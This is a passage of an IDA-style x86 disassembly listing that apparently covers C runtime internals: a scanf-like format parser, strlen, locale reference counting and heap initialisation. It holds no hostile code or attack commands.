		mov	edi, [ebp+var_1CC]
		mov	ebx, [ebp+var_20]


loc_419762:				; CODE XREF: sub_419255+4BAj
					; sub_419255+4D3j
		push	20h
		push	0
		push	ebx
		call	sub_41E880
		add	esp, 0Ch
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_4197E9
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_4197E9
		mov	dl, 5Dh
		inc	edi
		mov	byte ptr [ebx+0Bh], 20h
		jmp	short loc_4197EC
; ---------------------------------------------------------------------------


loc_419783:				; CODE XREF: sub_419255+59Bj
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4197D3
		test	dl, dl
		jz	short loc_4197D3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4197D3
		inc	edi
		cmp	dl, cl
		jnb	short loc_41979C
		mov	al, cl
		jmp	short loc_4197A0
; ---------------------------------------------------------------------------


loc_41979C:				; CODE XREF: sub_419255+541j
		mov	al, dl
		mov	dl, cl


loc_4197A0:				; CODE XREF: sub_419255+545j
		cmp	dl, al
		ja	short loc_4197CF
		movzx	esi, dl
		sub	al, dl
		inc	al
		movzx	eax, al
		mov	[ebp+var_1D0], eax


loc_4197B4:				; CODE XREF: sub_419255+578j
		mov	eax, esi
		shr	eax, 3
		add	eax, ebx
		mov	ecx, esi
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl
		inc	esi
		dec	[ebp+var_1D0]
		jnz	short loc_4197B4


loc_4197CF:				; CODE XREF: sub_419255+54Dj
		xor	dl, dl
		jmp	short loc_4197EC
; ---------------------------------------------------------------------------


loc_4197D3:				; CODE XREF: sub_419255+531j
					; sub_419255+535j ...
		mov	[ebp+var_39], al
		movzx	ecx, al
		mov	eax, ecx
		shr	eax, 3
		add	eax, ebx
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl


loc_4197E9:				; CODE XREF: sub_419255+51Ej
					; sub_419255+523j
		mov	dl, [ebp+var_39]


loc_4197EC:				; CODE XREF: sub_419255+52Cj
					; sub_419255+57Cj
		mov	al, [edi]
		cmp	al, 5Dh
		jnz	short loc_419783
		test	al, al
		jz	loc_419CC2
		mov	ebx, [ebp+var_64]
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_419806
		mov	[ebp+arg_4], edi


loc_419806:				; CODE XREF: sub_419255+5ACj
		mov	edi, [ebp+var_68]


loc_419809:				; CODE XREF: sub_419255+42Dj
					; sub_419255+437j
		mov	esi, ebx
		dec	[ebp+var_30]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_419821
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_419821:				; CODE XREF: sub_419255+5BDj
					; sub_419255+754j ...
		cmp	[ebp+var_44], 0
		jz	short loc_419835
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	loc_4199C7


loc_419835:				; CODE XREF: sub_419255+5D0j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_41923F
		mov	[ebp+var_28], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_4199B4
		cmp	edi, 63h
		jz	short loc_419895
		cmp	edi, 73h
		jnz	short loc_419865
		cmp	eax, 9
		jl	short loc_419860
		cmp	eax, 0Dh
		jle	short loc_419865


loc_419860:				; CODE XREF: sub_419255+604j
		cmp	eax, 20h
		jnz	short loc_419895


loc_419865:				; CODE XREF: sub_419255+5FFj
					; sub_419255+609j
		cmp	edi, 7Bh
		jnz	loc_4199B4
		mov	ecx, eax
		and	ecx, 7
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		mov	edi, [ebp+var_20]
		movsx	ecx, byte ptr [ecx+edi]
		movsx	edi, [ebp+var_49]
		xor	ecx, edi
		test	edx, ecx
		jz	loc_4199B4
		mov	edi, [ebp+var_68]


loc_419895:				; CODE XREF: sub_419255+5FAj
					; sub_419255+60Ej
		cmp	[ebp+var_4B], 0
		jnz	loc_4199AE
		cmp	[ebp+var_4D], 0
		jz	loc_4199A3
		mov	[ebp+var_1D4], al
		movzx	eax, al
		mov	ecx, off_432A40
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4198D0
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_41923F
		mov	[ebp+var_1D3], al


loc_4198D0:				; CODE XREF: sub_419255+668j
		push	dword_432C94
		lea	eax, [ebp+var_1D4]
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_41E848
		add	esp, 0Ch
		mov	ax, [ebp+var_1D8]
		mov	[ebx], ax
		inc	ebx
		inc	ebx
		jmp	loc_4199A6
; ---------------------------------------------------------------------------


loc_4198FD:				; CODE XREF: sub_419255+27Fj
		cmp	ebx, 2Bh
		jnz	short loc_419920


loc_419902:				; CODE XREF: sub_419255+289j
		dec	[ebp+var_48]
		jnz	short loc_419911
		test	ecx, ecx
		jz	short loc_419911
		mov	[ebp+var_4C], 1
		jmp	short loc_419920
; ---------------------------------------------------------------------------


loc_419911:				; CODE XREF: sub_419255+6B0j
					; sub_419255+6B4j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_419920:				; CODE XREF: sub_419255+6ABj
					; sub_419255+6BAj
		cmp	ebx, 30h
		jnz	loc_419A35
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	bl, 78h
		jz	short loc_41997D
		cmp	bl, 58h
		jz	short loc_41997D
		mov	[ebp+var_40], 1
		cmp	edi, 78h
		jz	short loc_419964
		cmp	[ebp+var_44], 0
		jz	short loc_41995C
		dec	[ebp+var_48]
		jnz	short loc_41995C
		inc	[ebp+var_4C]


loc_41995C:				; CODE XREF: sub_419255+6FDj
					; sub_419255+702j
		push	6Fh


loc_41995E:				; CODE XREF: sub_419255+74Cj
		pop	edi
		jmp	loc_419A35
; ---------------------------------------------------------------------------


loc_419964:				; CODE XREF: sub_419255+6F7j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419975
		push	esi
		push	ebx
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_419975:				; CODE XREF: sub_419255+715j
		push	30h
		pop	ebx
		jmp	loc_419A32
; ---------------------------------------------------------------------------


loc_41997D:				; CODE XREF: sub_419255+6E6j
					; sub_419255+6EBj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	[ebp+var_44], 0
		jz	short loc_41999F
		sub	[ebp+var_48], 2
		cmp	[ebp+var_48], 1
		jge	short loc_41999F
		inc	[ebp+var_4C]


loc_41999F:				; CODE XREF: sub_419255+73Bj
					; sub_419255+745j
		push	78h
		jmp	short loc_41995E
; ---------------------------------------------------------------------------


loc_4199A3:				; CODE XREF: sub_419255+64Ej
		mov	[ebx], al
		inc	ebx


loc_4199A6:				; CODE XREF: sub_419255+6A3j
		mov	[ebp+var_64], ebx
		jmp	loc_419821
; ---------------------------------------------------------------------------


loc_4199AE:				; CODE XREF: sub_419255+644j
		inc	esi
		jmp	loc_419821
; ---------------------------------------------------------------------------


loc_4199B4:				; CODE XREF: sub_419255+5F1j
					; sub_419255+613j ...
		dec	[ebp+var_30]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4199C7
		push	[ebp+arg_0]
		push	eax
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_4199C7:				; CODE XREF: sub_419255+5DAj
					; sub_419255+765j
		cmp	esi, ebx
		jz	loc_419CC2
		cmp	[ebp+var_4B], 0
		jnz	loc_419C36
		inc	[ebp+var_34]
		cmp	[ebp+var_68], 63h
		jz	loc_419C36
		mov	eax, [ebp+var_64]
		cmp	[ebp+var_4D], 0
		jz	short loc_4199F8
		and	word ptr [eax],	0
		jmp	loc_419C36
; ---------------------------------------------------------------------------


loc_4199F8:				; CODE XREF: sub_419255+798j
		and	byte ptr [eax],	0
		jmp	loc_419C36
; ---------------------------------------------------------------------------


loc_419A00:				; CODE XREF: sub_419255+441j
		mov	[ebp+var_4F], 1


loc_419A04:				; CODE XREF: sub_419255+221j
					; sub_419255+233j ...
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_419A12
		mov	[ebp+var_4A], 1
		jmp	short loc_419A17
; ---------------------------------------------------------------------------


loc_419A12:				; CODE XREF: sub_419255+7B5j
		cmp	ebx, 2Bh
		jnz	short loc_419A35


loc_419A17:				; CODE XREF: sub_419255+7BBj
		dec	[ebp+var_48]
		jnz	short loc_419A26
		test	ecx, ecx
		jz	short loc_419A26
		mov	[ebp+var_4C], 1
		jmp	short loc_419A35
; ---------------------------------------------------------------------------


loc_419A26:				; CODE XREF: sub_419255+7C5j
					; sub_419255+7C9j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_41923F
		mov	ebx, eax


loc_419A32:				; CODE XREF: sub_419255+723j
		mov	[ebp+var_28], ebx


loc_419A35:				; CODE XREF: sub_419255+6CEj
					; sub_419255+70Aj ...
		cmp	[ebp+var_54], 0
		jz	loc_419B3A
		cmp	[ebp+var_4C], 0
		jnz	loc_419B18


loc_419A49:				; CODE XREF: sub_419255+8BAj
		cmp	edi, 78h
		jz	short loc_419A94
		cmp	edi, 70h
		jz	short loc_419A94
		push	ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jz	short loc_419AC5
		cmp	edi, 6Fh
		jnz	short loc_419A7D
		cmp	ebx, 38h
		jge	short loc_419AC5
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 3
		shl	eax, 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	short loc_419AC8
; ---------------------------------------------------------------------------


loc_419A7D:				; CODE XREF: sub_419255+80Cj
		push	0
		push	0Ah
		push	[ebp+var_58]
		push	[ebp+var_5C]
		call	sub_4171B0
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], edx
		jmp	short loc_419AC8
; ---------------------------------------------------------------------------


loc_419A94:				; CODE XREF: sub_419255+7F7j
					; sub_419255+7FCj
		push	ebx
		call	sub_41E6A3
		pop	ecx
		test	eax, eax
		jz	short loc_419AC5
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 4
		shl	eax, 4
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		push	ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jnz	short loc_419AC8
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_419AC8
; ---------------------------------------------------------------------------


loc_419AC5:				; CODE XREF: sub_419255+807j
					; sub_419255+811j ...
		inc	[ebp+var_4C]


loc_419AC8:				; CODE XREF: sub_419255+826j
					; sub_419255+83Dj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_419AFA
		inc	[ebp+var_40]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_5C], eax
		adc	[ebp+var_58], edx
		cmp	[ebp+var_44], 0
		jz	short loc_419AEC
		dec	[ebp+var_48]
		jnz	short loc_419AEC
		mov	[ebp+var_4C], 1
		jmp	short loc_419B0B
; ---------------------------------------------------------------------------


loc_419AEC:				; CODE XREF: sub_419255+88Aj
					; sub_419255+88Fj
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_41923F
		mov	ebx, eax
		jmp	short loc_419B0B
; ---------------------------------------------------------------------------


loc_419AFA:				; CODE XREF: sub_419255+877j
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419B0B
		push	esi
		push	ebx
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_419B0B:				; CODE XREF: sub_419255+895j
					; sub_419255+8A3j ...
		cmp	[ebp+var_4C], 0
		jz	loc_419A49
		mov	[ebp+var_28], ebx


loc_419B18:				; CODE XREF: sub_419255+7EEj
		cmp	[ebp+var_4A], 0
		jz	loc_419BF4
		mov	eax, [ebp+var_5C]
		neg	eax
		mov	ecx, [ebp+var_58]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	loc_419BF4
; ---------------------------------------------------------------------------


loc_419B3A:				; CODE XREF: sub_419255+7E4j
		cmp	[ebp+var_4C], 0
		jnz	loc_419BEB


loc_419B44:				; CODE XREF: sub_419255+98Dj
		cmp	edi, 78h
		jz	short loc_419B76
		cmp	edi, 70h
		jz	short loc_419B76
		push	ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jz	short loc_419B98
		cmp	edi, 6Fh
		jnz	short loc_419B69
		cmp	ebx, 38h
		jge	short loc_419B98
		shl	[ebp+var_38], 3
		jmp	short loc_419B9B
; ---------------------------------------------------------------------------


loc_419B69:				; CODE XREF: sub_419255+907j
		mov	eax, [ebp+var_38]
		lea	eax, [eax+eax*4]
		shl	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_419B9B
; ---------------------------------------------------------------------------


loc_419B76:				; CODE XREF: sub_419255+8F2j
					; sub_419255+8F7j
		push	ebx
		call	sub_41E6A3
		pop	ecx
		test	eax, eax
		jz	short loc_419B98
		shl	[ebp+var_38], 4
		push	ebx
		call	sub_41E669
		pop	ecx
		test	eax, eax
		jnz	short loc_419B9B
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7
		jmp	short loc_419B9B
; ---------------------------------------------------------------------------


loc_419B98:				; CODE XREF: sub_419255+902j
					; sub_419255+90Cj ...
		inc	[ebp+var_4C]


loc_419B9B:				; CODE XREF: sub_419255+912j
					; sub_419255+91Fj ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_419BCD
		inc	[ebp+var_40]
		mov	eax, [ebp+var_38]
		lea	eax, [eax+ebx-30h]
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_419BBF
		dec	[ebp+var_48]
		jnz	short loc_419BBF
		mov	[ebp+var_4C], 1
		jmp	short loc_419BDE
; ---------------------------------------------------------------------------


loc_419BBF:				; CODE XREF: sub_419255+95Dj
					; sub_419255+962j
		inc	[ebp+var_30]
		mov	edx, esi
		call	sub_41923F
		mov	ebx, eax
		jmp	short loc_419BDE
; ---------------------------------------------------------------------------


loc_419BCD:				; CODE XREF: sub_419255+94Aj
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419BDE
		push	esi
		push	ebx
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_419BDE:				; CODE XREF: sub_419255+968j
					; sub_419255+976j ...
		cmp	[ebp+var_4C], 0
		jz	loc_419B44
		mov	[ebp+var_28], ebx


loc_419BEB:				; CODE XREF: sub_419255+8E9j
		cmp	[ebp+var_4A], 0
		jz	short loc_419BF4
		neg	[ebp+var_38]


loc_419BF4:				; CODE XREF: sub_419255+8C7j
					; sub_419255+8E0j ...
		cmp	edi, 46h
		jnz	short loc_419BFD
		and	[ebp+var_40], 0


loc_419BFD:				; CODE XREF: sub_419255+9A2j
		cmp	[ebp+var_40], 0
		jz	loc_419CC2
		cmp	[ebp+var_4B], 0
		jnz	short loc_419C36
		inc	[ebp+var_34]
		mov	ebx, [ebp+var_64]
		mov	eax, [ebp+var_38]


loc_419C16:				; CODE XREF: sub_419255+259j
		cmp	[ebp+var_54], 0
		jz	short loc_419C29
		mov	eax, [ebp+var_5C]
		mov	[ebx], eax
		mov	eax, [ebp+var_58]
		mov	[ebx+4], eax
		jmp	short loc_419C36
; ---------------------------------------------------------------------------


loc_419C29:				; CODE XREF: sub_419255+9C5j
		cmp	[ebp+var_4F], 0
		jz	short loc_419C33
		mov	[ebx], eax
		jmp	short loc_419C36
; ---------------------------------------------------------------------------


loc_419C33:				; CODE XREF: sub_419255+9D8j
		mov	[ebx], ax


loc_419C36:				; CODE XREF: sub_419255+25Fj
					; sub_419255+3F1j ...
		inc	[ebp+var_29]
		inc	[ebp+arg_4]
		jmp	short loc_419CA6
; ---------------------------------------------------------------------------


loc_419C3E:				; CODE XREF: sub_419255+90j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_41923F
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		movzx	eax, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	eax, ebx
		jnz	short loc_419C8F
		movzx	eax, bl
		mov	ecx, off_432A40
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419CA6
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_41923F
		movzx	ecx, byte ptr [esi]
		inc	esi
		mov	[ebp+arg_4], esi
		cmp	ecx, eax
		jz	short loc_419CA3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419C8F
		push	[ebp+arg_0]
		push	eax
		call	sub_41E71C
		pop	ecx
		pop	ecx


loc_419C8F:				; CODE XREF: sub_419255+A02j
					; sub_419255+A2Dj
		cmp	ebx, 0FFFFFFFFh


loc_419C92:				; CODE XREF: sub_419255+471j
		jz	short loc_419CC2
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_41E71C
		pop	ecx
		pop	ecx
		jmp	short loc_419CC2
; ---------------------------------------------------------------------------


loc_419CA3:				; CODE XREF: sub_419255+A28j
		dec	[ebp+var_30]


loc_419CA6:				; CODE XREF: sub_419255+9E7j
					; sub_419255+A12j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	loc_419283
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	25h
		jnz	short loc_419CC2
		cmp	byte ptr [eax+1], 6Eh
		jz	loc_419283


loc_419CC2:				; CODE XREF: sub_419255+35j
					; sub_419255+3E7j ...
		cmp	[ebp+var_24], 1
		jnz	short loc_419CD1
		push	[ebp+var_20]
		call	sub_416C97
		pop	ecx


loc_419CD1:				; CODE XREF: sub_419255+A71j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_419CE6
		test	eax, eax
		jnz	short loc_419CE6
		cmp	[ebp+var_29], al
		jnz	short loc_419CE6
		or	eax, 0FFFFFFFFh


loc_419CE6:				; CODE XREF: sub_419255+A83j
					; sub_419255+A87j ...
		lea	esp, [ebp-1E4h]
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_41C526
		call	__SEH_epilog
		retn
sub_419255	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419D00	proc near		; CODE XREF: sub_416AE4+17p
					; sub_417EE4+D2p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_419D30


loc_419D0C:				; CODE XREF: sub_419D00+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_419D63
		test	ecx, 3
		jnz	short loc_419D0C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_419D30:				; CODE XREF: sub_419D00+Aj
					; sub_419D00+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_419D30
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_419D81
		test	ah, ah
		jz	short loc_419D77
		test	eax, 0FF0000h
		jz	short loc_419D6D
		test	eax, 0FF000000h
		jz	short loc_419D63
		jmp	short loc_419D30
; ---------------------------------------------------------------------------


loc_419D63:				; CODE XREF: sub_419D00+13j
					; sub_419D00+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_419D6D:				; CODE XREF: sub_419D00+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_419D77:				; CODE XREF: sub_419D00+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_419D81:				; CODE XREF: sub_419D00+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_419D00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D8B	proc near		; CODE XREF: sub_416C0A+2Ap
					; sub_41756A+37p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		mov	ecx, [ebp+arg_0]
		ja	short loc_419DA9
		mov	ecx, [ecx+48h]
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_419DFD
; ---------------------------------------------------------------------------


loc_419DA9:				; CODE XREF: sub_419D8B+13j
		push	esi
		mov	edx, eax
		sar	edx, 8
		push	edi
		mov	edi, [ecx+48h]
		movzx	esi, dl
		test	byte ptr [edi+esi*2+1],	80h
		pop	edi
		pop	esi
		jz	short loc_419DCE
		and	[ebp+var_2], 0
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], dl
		pop	eax
		jmp	short loc_419DD8
; ---------------------------------------------------------------------------


loc_419DCE:				; CODE XREF: sub_419D8B+32j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		xor	eax, eax
		inc	eax


loc_419DD8:				; CODE XREF: sub_419D8B+41j
		push	1
		push	dword ptr [ecx+14h]
		push	dword ptr [ecx+4]
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41E8E0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_419DF9
		leave
		retn
; ---------------------------------------------------------------------------


loc_419DF9:				; CODE XREF: sub_419D8B+6Aj
		movzx	eax, word ptr [ebp+arg_4+2]


loc_419DFD:				; CODE XREF: sub_419D8B+1Cj
		and	eax, [ebp+arg_8]
		leave
		retn
sub_419D8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E02	proc near		; CODE XREF: sub_419ECC+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+3Ch]
		push	edi
		xor	edi, edi
		cmp	eax, dword_481448
		jz	short loc_419E78
		cmp	eax, edi
		jz	short loc_419E78
		mov	eax, [esi+2Ch]
		cmp	[eax], edi
		jnz	short loc_419E78
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_419E43
		cmp	[eax], edi
		jnz	short loc_419E43
		cmp	eax, dword_4815C8
		jz	short loc_419E43
		push	eax
		call	sub_416C97
		push	dword ptr [esi+3Ch]
		call	sub_41EC89
		pop	ecx
		pop	ecx


loc_419E43:				; CODE XREF: sub_419E02+23j
					; sub_419E02+27j ...
		mov	eax, [esi+30h]
		cmp	eax, edi
		jz	short loc_419E66
		cmp	[eax], edi
		jnz	short loc_419E66
		cmp	eax, dword_4815CC
		jz	short loc_419E66
		push	eax
		call	sub_416C97
		push	dword ptr [esi+3Ch]
		call	sub_41EC2A
		pop	ecx
		pop	ecx


loc_419E66:				; CODE XREF: sub_419E02+46j
					; sub_419E02+4Aj ...
		push	dword ptr [esi+2Ch]
		call	sub_416C97
		push	dword ptr [esi+3Ch]
		call	sub_416C97
		pop	ecx
		pop	ecx


loc_419E78:				; CODE XREF: sub_419E02+11j
					; sub_419E02+15j ...
		mov	eax, [esi+40h]
		cmp	eax, dword_4815C4
		jz	short loc_419E9B
		cmp	eax, edi
		jz	short loc_419E9B
		cmp	[eax], edi
		jnz	short loc_419E9B
		push	eax
		call	sub_416C97
		push	dword ptr [esi+44h]
		call	sub_416C97
		pop	ecx
		pop	ecx


loc_419E9B:				; CODE XREF: sub_419E02+7Fj
					; sub_419E02+83j ...
		mov	eax, [esi+50h]
		cmp	eax, dword_481444
		jz	short loc_419EC2
		cmp	eax, edi
		jz	short loc_419EC2
		cmp	[eax+0B4h], edi
		jnz	short loc_419EC2
		push	eax
		call	sub_41EA9A
		push	dword ptr [esi+50h]
		call	sub_416C97
		pop	ecx
		pop	ecx


loc_419EC2:				; CODE XREF: sub_419E02+A2j
					; sub_419E02+A6j ...
		push	esi
		call	sub_416C97
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_419E02	endp


; =============== S U B	R O U T	I N E =======================================



sub_419ECC	proc near		; CODE XREF: sub_419F8E+18p
		push	esi
		call	sub_41915F
		mov	esi, eax
		mov	eax, [esi+64h]
		cmp	eax, off_4323DC
		jz	loc_419F89
		test	eax, eax
		jz	short loc_419F16
		mov	ecx, [eax+2Ch]
		dec	dword ptr [eax]
		test	ecx, ecx
		jz	short loc_419EF2
		dec	dword ptr [ecx]


loc_419EF2:				; CODE XREF: sub_419ECC+22j
		mov	ecx, [eax+34h]
		test	ecx, ecx
		jz	short loc_419EFB
		dec	dword ptr [ecx]


loc_419EFB:				; CODE XREF: sub_419ECC+2Bj
		mov	ecx, [eax+30h]
		test	ecx, ecx
		jz	short loc_419F04
		dec	dword ptr [ecx]


loc_419F04:				; CODE XREF: sub_419ECC+34j
		mov	ecx, [eax+40h]
		test	ecx, ecx
		jz	short loc_419F0D
		dec	dword ptr [ecx]


loc_419F0D:				; CODE XREF: sub_419ECC+3Dj
		mov	ecx, [eax+4Ch]
		dec	dword ptr [ecx+0B4h]


loc_419F16:				; CODE XREF: sub_419ECC+19j
		mov	ecx, off_4323DC
		mov	[esi+64h], ecx
		mov	ecx, off_4323DC
		inc	dword ptr [ecx]
		mov	ecx, off_4323DC
		mov	ecx, [ecx+2Ch]
		test	ecx, ecx
		jz	short loc_419F36
		inc	dword ptr [ecx]


loc_419F36:				; CODE XREF: sub_419ECC+66j
		mov	ecx, off_4323DC
		mov	ecx, [ecx+34h]
		test	ecx, ecx
		jz	short loc_419F45
		inc	dword ptr [ecx]


loc_419F45:				; CODE XREF: sub_419ECC+75j
		mov	ecx, off_4323DC
		mov	ecx, [ecx+30h]
		test	ecx, ecx
		jz	short loc_419F54
		inc	dword ptr [ecx]


loc_419F54:				; CODE XREF: sub_419ECC+84j
		mov	ecx, off_4323DC
		mov	ecx, [ecx+40h]
		test	ecx, ecx
		jz	short loc_419F63
		inc	dword ptr [ecx]


loc_419F63:				; CODE XREF: sub_419ECC+93j
		mov	ecx, off_4323DC
		mov	ecx, [ecx+4Ch]
		inc	dword ptr [ecx+0B4h]
		test	eax, eax
		jz	short loc_419F89
		cmp	dword ptr [eax], 0
		jnz	short loc_419F89
		cmp	eax, offset dword_432388
		jz	short loc_419F89
		push	eax
		call	sub_419E02
		pop	ecx


loc_419F89:				; CODE XREF: sub_419ECC+11j
					; sub_419ECC+A8j ...
		mov	eax, [esi+64h]
		pop	esi
		retn
sub_419ECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F8E	proc near		; CODE XREF: sub_416C0A+12p
					; sub_417456+24p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_42C0A8
		call	__SEH_prolog
		push	0Ch
		call	sub_41A166
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_419ECC
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_419FC0
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_419F8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FC0	proc near		; CODE XREF: sub_419F8E+24p
					; DATA XREF: .text:stru_42C0A8o
		push	0Ch
		call	sub_41A0D2
		pop	ecx
		retn
sub_419FC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FC9	proc near		; CODE XREF: sub_419FE3+20p
		cmp	dword_481164, 2
		jnz	short loc_419FDF
		cmp	dword_481170, 5
		jb	short loc_419FDF
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419FDF:				; CODE XREF: sub_419FC9+7j
					; sub_419FC9+10j
		push	3
		pop	eax
		retn
sub_419FC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FE3	proc near		; CODE XREF: .text:004186FCp

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	dword_42218C	; HeapCreate
		test	eax, eax
		mov	dword_482960, eax
		jz	short loc_41A02D
		call	sub_419FC9
		cmp	eax, 3
		mov	dword_482964, eax
		jnz	short loc_41A030
		push	3F8h
		call	sub_41A197
		test	eax, eax
		pop	ecx
		jnz	short loc_41A030
		push	dword_482960
		call	dword_422188	; HeapDestroy


loc_41A02D:				; CODE XREF: sub_419FE3+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A030:				; CODE XREF: sub_419FE3+2Dj
					; sub_419FE3+3Cj
		xor	eax, eax
		inc	eax
		retn
sub_419FE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A034	proc near		; CODE XREF: sub_4191D0p
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_4811C0


loc_41A03D:				; CODE XREF: sub_41A034+35j
		cmp	dword_43251C[esi*8], 1
		jnz	short loc_41A065
		lea	eax, ds:432518h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_41EF60
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A071


loc_41A065:				; CODE XREF: sub_41A034+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_41A03D
		xor	eax, eax
